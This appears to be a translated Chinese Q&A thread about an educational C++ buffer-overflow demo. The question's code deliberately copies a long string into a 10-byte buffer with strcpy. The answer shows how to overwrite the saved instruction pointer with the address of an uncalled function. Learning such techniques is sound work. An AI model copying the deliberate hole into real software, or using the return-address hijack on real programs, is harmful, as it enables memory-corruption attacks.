编写一个使用缓冲区溢出的应用程序来执行应用程序内通常不调用的代码

问题描述 投票:0回答:1

出于演示/教育目的,我想编写一个简单的概念验证应用程序,该应用程序使用缓冲区溢出来执行此应用程序中通常不调用的代码。我想的是这样的:

#include <iostream>
#include <cstring>

void vulnerableFunction(const char* input) {
    char buffer[10];  
    strcpy(buffer, input);
}

void printSomething(){
 std::cout << "This should not be executed" << std::endl;
}

int main() {
    const char* input = "This is a long string that will cause a buffer overflow";
    vulnerableFunction(input);
    return 0;
}

使用输入字符串,我想覆盖IP并将其指向

printSomething()
方法的内存位置,然后像这样执行它。

所以第一个问题:这样可能吗?

我用 Immunity Debugger 对其进行了分析,并能够准确地创建一个覆盖 EIP 的字符串。所以我知道偏移量,缺少的是找到

printSomething()
方法调用的确切位置。有人知道我该怎么做吗?

c++ buffer-overflow
1个回答
0
投票

是的,你可以做到这一点。根据 ASLR 的状态,可以使用几种不同的方法来查找 printSomething 的位置,但无论如何,最简单的方法就是使用现有的 C 运算符来获取函数的地址:

&printSomething

然后,您需要将该地址的值附加到传递给易受攻击函数的字符串中,例如使用memcpy

char input[64] = "AAAAA...A"; //64 As
void* printSomethingAddress = &printSomething;
memcpy(input + ipOffset,&printSomethingAddress,(sizeof(void*)));
vulnerableFunction(input);

这里的ipOffset是从你在vulnerableFunction中strcpy到的缓冲区的开头到保存的指令指针的位置的距离。

需要注意的几件事:

当然,所有这些都是

技术上未定义的行为,但这从来没有阻止过任何人——无论如何在实践层面上。优秀的黑客靠将未定义的行为转变为黑客控制的行为而茁壮成长。

© www.soinside.com 2019 - 2024. All rights reserved.